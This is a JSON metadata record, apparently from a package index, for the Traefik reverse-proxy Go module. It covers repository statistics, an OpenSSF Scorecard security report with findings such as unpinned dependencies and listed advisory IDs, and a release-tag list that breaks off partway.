{"id":3755760,"name":"github.com/traefik/traefik","ecosystem":"go","description":"","homepage":"https://github.com/traefik/traefik","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/traefik/traefik","keywords_array":[],"namespace":"github.com/traefik","versions_count":187,"first_release_published_at":"2016-03-09T22:55:26.000Z","latest_release_published_at":"2021-12-10T16:54:05.000Z","latest_release_number":"v1.7.34","last_synced_at":"2026-10-16T08:17:58.438Z","created_at":"2022-04-11T15:36:41.519Z","updated_at":"2026-10-17T07:36:56.388Z","registry_url":"https://pkg.go.dev/github.com/traefik/traefik","install_command":"go get github.com/traefik/traefik","documentation_url":"https://pkg.go.dev/github.com/traefik/traefik#section-documentation","metadata":null,"repo_metadata":{"id":37093133,"uuid":"42408804","full_name":"traefik/traefik","owner":"traefik","description":"The Cloud Native Application Proxy","archived":false,"fork":false,"pushed_at":"2026-10-15T14:29:07.000Z","size":162684,"stargazers_count":65256,"open_issues_count":944,"forks_count":6256,"subscribers_count":680,"default_branch":"master","last_synced_at":"2026-10-16T15:43:38.514Z","etag":null,"topics":["consul","docker","gateway","gatewayapi","go","golang","ingress-nginx","kubernetes","letsencrypt","load-balancer","microservice","opentelemetry","reverse-proxy","traefik"],"latest_commit_sha":null,"homepage":"https://traefik.io","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/traefik.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE.md","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","accessibility":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":"AGENTS.md","claude":"CLAUDE.md","gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null},"funding":{"github":"traefik"}},"created_at":"2015-09-13T19:04:02.000Z","updated_at":"2026-10-16T14:59:28.000Z","dependencies_parsed_at":"2026-10-16T09:00:24.300Z","dependency_job_id":null,"html_url":"https://github.com/traefik/traefik","commit_stats":{"total_commits":3937,"total_committers":791,"mean_commits":4.97724399494311,"dds":0.8125476250952501,"last_synced_commit":"8174860770e536b4afb541e0ab13b3611a101430"},"previous_names":["containous/traefik"],"tags_count":585,"template":false,"template_full_name":null,"purl":"pkg:github/traefik/traefik","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/traefik","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/sbom","scorecard":{"id":303358,"data":{"date":"2025-08-04","repo":{"name":"github.com/traefik/traefik","commit":"c20802b07ea8efd6638e0d126eec5df6d932f58f"},"scorecard":{"version":"v5.2.1-28-gc1d103a9","commit":"c1d103a9bb9f635ec7260bf9aa0699466fa4be0e"},"score":5.6,"checks":[{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#security-policy"}},{"name":"Code-Review","score":10,"reason":"all changesets reviewed","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#code-review"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 7 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#maintained"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#cii-best-practices"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#dangerous-workflow"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'actions' permission set to 'read': .github/workflows/codeql.yml:16","Info: jobLevel 'contents' permission set to 'read': .github/workflows/codeql.yml:17","Warn: jobLevel 'packages' permission set to 'write': .github/workflows/sync-docker-images.yaml:12","Info: jobLevel 'contents' permission set to 'read': .github/workflows/sync-docker-images.yaml:13","Warn: no topLevel permission defined: .github/workflows/build.yaml:1","Warn: no topLevel permission defined: .github/workflows/check_doc.yml:1","Warn: no topLevel permission defined: .github/workflows/codeql.yml:1","Warn: no topLevel permission defined: .github/workflows/documentation.yml:1","Warn: no topLevel permission defined: .github/workflows/experimental.yaml:1","Warn: no topLevel permission defined: .github/workflows/release.yaml:1","Warn: no topLevel permission defined: .github/workflows/sync-docker-images.yaml:1","Warn: no topLevel permission defined: .github/workflows/template-webui.yaml:1","Warn: no topLevel permission defined: .github/workflows/test-conformance.yaml:1","Warn: no topLevel permission defined: .github/workflows/test-integration.yaml:1","Warn: no topLevel permission defined: .github/workflows/test-unit.yaml:1","Warn: no topLevel permission defined: .github/workflows/validate.yaml:1"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#token-permissions"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.md:0","Info: FSF or OSI recognized license: MIT License: LICENSE.md:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#license"}},{"name":"Binary-Artifacts","score":9,"reason":"binaries present in source code","details":["Warn: binary detected: pkg/plugins/fixtures/withoutsocket/plugin.wasm:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#binary-artifacts"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#fuzzing"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#branch-protection"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact v3.5.0 not signed: https://api.github.com/repos/traefik/traefik/releases/234572946","Warn: release artifact v3.4.5 not signed: https://api.github.com/repos/traefik/traefik/releases/234490895","Warn: release artifact v2.11.28 not signed: https://api.github.com/repos/traefik/traefik/releases/234480854","Warn: release artifact v3.5.0-rc2 not signed: https://api.github.com/repos/traefik/traefik/releases/231729874","Warn: release artifact v3.4.4 not signed: https://api.github.com/repos/traefik/traefik/releases/231715326","Warn: release artifact v3.5.0 does not have provenance: https://api.github.com/repos/traefik/traefik/releases/234572946","Warn: release artifact v3.4.5 does not have provenance: https://api.github.com/repos/traefik/traefik/releases/234490895","Warn: release artifact v2.11.28 does not have provenance: https://api.github.com/repos/traefik/traefik/releases/234480854","Warn: release artifact v3.5.0-rc2 does not have provenance: https://api.github.com/repos/traefik/traefik/releases/231729874","Warn: release artifact v3.4.4 does not have provenance: https://api.github.com/repos/traefik/traefik/releases/231715326"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#signed-releases"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/release.yaml:21"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#packaging"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yaml:54: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/build.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yaml:59: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/build.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yaml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/build.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/check_doc.yml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/check_doc.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/codeql.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql.yml:34: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/codeql.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql.yml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/codeql.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql.yml:55: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/codeql.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql.yml:68: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/codeql.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/documentation.yml:23: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/documentation.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/documentation.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/documentation.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/experimental.yaml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/experimental.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/experimental.yaml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/experimental.yaml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/experimental.yaml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/experimental.yaml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/experimental.yaml:51: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/experimental.yaml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/experimental.yaml:54: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/experimental.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/experimental.yaml:57: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/experimental.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yaml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/release.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yaml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/release.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yaml:47: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/release.yaml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release.yaml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/release.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yaml:74: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/release.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yaml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/release.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yaml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/release.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yaml:114: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/release.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/sync-docker-images.yaml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/sync-docker-images.yaml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/sync-docker-images.yaml:19: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/sync-docker-images.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/template-webui.yaml:11: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/template-webui.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/template-webui.yaml:19: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/template-webui.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/template-webui.yaml:36: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/template-webui.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-conformance.yaml:24: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/test-conformance.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-conformance.yaml:29: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/test-conformance.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-integration.yaml:23: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/test-integration.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-integration.yaml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/test-integration.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-integration.yaml:42: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/test-integration.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-integration.yaml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/test-integration.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-integration.yaml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/test-integration.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-integration.yaml:72: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/test-integration.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-integration.yaml:83: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/test-integration.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-integration.yaml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/test-integration.yaml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test-integration.yaml:100: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/test-integration.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-unit.yaml:23: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/test-unit.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-unit.yaml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/test-unit.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-unit.yaml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/test-unit.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-unit.yaml:54: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/test-unit.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-unit.yaml:73: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/test-unit.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-unit.yaml:81: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/test-unit.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/validate.yaml:20: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/validate.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/validate.yaml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/validate.yaml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/validate.yaml:36: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/validate.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/validate.yaml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/validate.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/validate.yaml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/validate.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/validate.yaml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/validate.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/validate.yaml:76: update your workflow using https://app.stepsecurity.io/secureworkflow/traefik/traefik/validate.yaml/master?enable=pin","Warn: containerImage not pinned by hash: Dockerfile:2: pin your Docker image by updating alpine:3.22 to alpine:3.22@sha256:4bcff63911fcb4448bd4fdacec207030997caf25e9bea4045fa6c8c44de311d1","Warn: containerImage not pinned by hash: docs/check.Dockerfile:1: pin your Docker image by updating alpine:3.22 to alpine:3.22@sha256:4bcff63911fcb4448bd4fdacec207030997caf25e9bea4045fa6c8c44de311d1","Warn: containerImage not pinned by hash: docs/docs.Dockerfile:1: pin your Docker image by updating alpine:3.22 to alpine:3.22@sha256:4bcff63911fcb4448bd4fdacec207030997caf25e9bea4045fa6c8c44de311d1","Warn: containerImage not pinned by hash: webui/buildx.Dockerfile:1: pin your Docker image by updating node:22.15.1-alpine3.20 to node:22.15.1-alpine3.20@sha256:224173ad6a700ec322c7117f616836d0dc6cadd8d6baac57703ccc2eb418a73f","Warn: npmCommand not pinned by hash: docs/check.Dockerfile:24-26","Warn: pipCommand not pinned by hash: docs/docs.Dockerfile:9-12","Warn: downloadThenRun not pinned by hash: .github/workflows/documentation.yml:35","Warn: downloadThenRun not pinned by hash: .github/workflows/documentation.yml:38","Warn: downloadThenRun not pinned by hash: .github/workflows/documentation.yml:41","Warn: downloadThenRun not pinned by hash: .github/workflows/validate.yaml:57","Info:   0 out of  46 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   8 third-party GitHubAction dependencies pinned","Info:   0 out of   4 containerImage dependencies pinned","Info:   0 out of   1 npmCommand dependencies pinned","Info:   0 out of   1 pipCommand dependencies pinned","Info:   1 out of   1 goCommand dependencies pinned","Info:   0 out of   4 downloadThenRun dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#pinned-dependencies"}},{"name":"SAST","score":7,"reason":"SAST tool detected but not run on all commits","details":["Info: SAST configuration detected: CodeQL","Warn: 0 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":0,"reason":"17 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-cpwx-vrp4-4pq7","Warn: Project is vulnerable to: GHSA-gmj6-6f8f-6699","Warn: Project is vulnerable to: GHSA-h75v-3vvj-5mfj","Warn: Project is vulnerable to: GHSA-q2x7-8rv6-6q7h","Warn: Project is vulnerable to: GHSA-jh85-wwv9-24hv","Warn: Project is vulnerable to: GHSA-jfmj-5v4g-7637","Warn: Project is vulnerable to: GO-2025-3528 / GHSA-265r-hfxg-fhmg","Warn: Project is vulnerable to: GHSA-q82r-2j7m-9rv4","Warn: Project is vulnerable to: GHSA-h5c3-5r3r-rr8q","Warn: Project is vulnerable to: GHSA-rmvr-2pp2-xj38","Warn: Project is vulnerable to: GHSA-xx4v-prfh-6cgc","Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-67mh-4wv8-2f99","Warn: Project is vulnerable to: GHSA-fjxv-7rqg-78g4","Warn: Project is vulnerable to: GHSA-52f5-9888-hmc6","Warn: Project is vulnerable to: GHSA-356w-63v5-8wf4","Warn: Project is vulnerable to: GHSA-859w-5945-r5v3"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-17T21:20:27.867Z","repository_id":37093133,"created_at":"2025-08-17T21:20:27.867Z","updated_at":"2025-08-17T21:20:27.867Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":344836268,"owners_count":38331591,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-16T02:00:06.653Z","response_time":55,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"traefik","name":"Traefik Labs","uuid":"14280338","kind":"organization","description":"Say Goodbye to Connectivity Chaos","email":null,"website":"https://blog.traefik.io","location":"Earth","twitter":"traefik","company":null,"icon_url":"https://avatars.githubusercontent.com/u/14280338?v=4","repositories_count":67,"last_synced_at":"2026-10-10T21:54:35.583Z","metadata":{"has_sponsors_listing":true,"funding":null},"html_url":"https://github.com/traefik","funding_links":["https://github.com/sponsors/traefik"],"total_stars":79977,"followers":1158,"following":0,"created_at":"2022-11-14T07:03:56.532Z","updated_at":"2026-10-10T21:54:35.600Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/traefik","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/traefik/repositories"},"tags":[{"name":"v3.7.15","sha":"351a5ab1e884a6be95d02997016cbb2751106bc0","kind":"commit","published_at":"2026-10-15T09:02:06.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.7.15","html_url":"https://github.com/traefik/traefik/releases/tag/v3.7.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.7.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.15/manifests"},{"name":"v2.11.59","sha":"0a2ab088ab4bea4ee9a29e29d05efff5482161f9","kind":"commit","published_at":"2026-10-15T08:16:06.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.59","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.59","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.59","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.59","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.59/manifests"},{"name":"v3.7.14","sha":"3bd7aa32e1b6c41166575529a10fb2346d9eaa2e","kind":"commit","published_at":"2026-10-05T09:40:06.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.7.14","html_url":"https://github.com/traefik/traefik/releases/tag/v3.7.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.7.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.14/manifests"},{"name":"v2.11.58","sha":"246d9bfe790fcd91088e25121054871e1aac1000","kind":"commit","published_at":"2026-10-05T08:50:06.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.58","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.58","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.58","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.58","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.58/manifests"},{"name":"v3.7.13","sha":"fc92cc118a0557a029c7019d5ee06665127b0f13","kind":"commit","published_at":"2026-09-04T08:48:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.7.13","html_url":"https://github.com/traefik/traefik/releases/tag/v3.7.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.7.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.13/manifests"},{"name":"v2.11.57","sha":"839eb7f48a16849f22762b7e3bdfc58253146cd7","kind":"commit","published_at":"2026-09-04T08:00:08.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.57","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.57","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.57","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.57","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.57/manifests"},{"name":"v3.7.12","sha":"e8f398ee30ca5643158ea9094b701b8eae9849e5","kind":"commit","published_at":"2026-08-26T08:16:06.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.7.12","html_url":"https://github.com/traefik/traefik/releases/tag/v3.7.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.7.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.12/manifests"},{"name":"v2.11.56","sha":"d87731461f0c7beb6fdbcc5a5655a44ce56e537a","kind":"commit","published_at":"2026-08-26T07:44:06.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.56","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.56","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.56","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.56","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.56/manifests"},{"name":"v3.7.11","sha":"faa1eb590646aed94e561e24a59be0c47353ae95","kind":"commit","published_at":"2026-08-18T13:44:06.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.7.11","html_url":"https://github.com/traefik/tr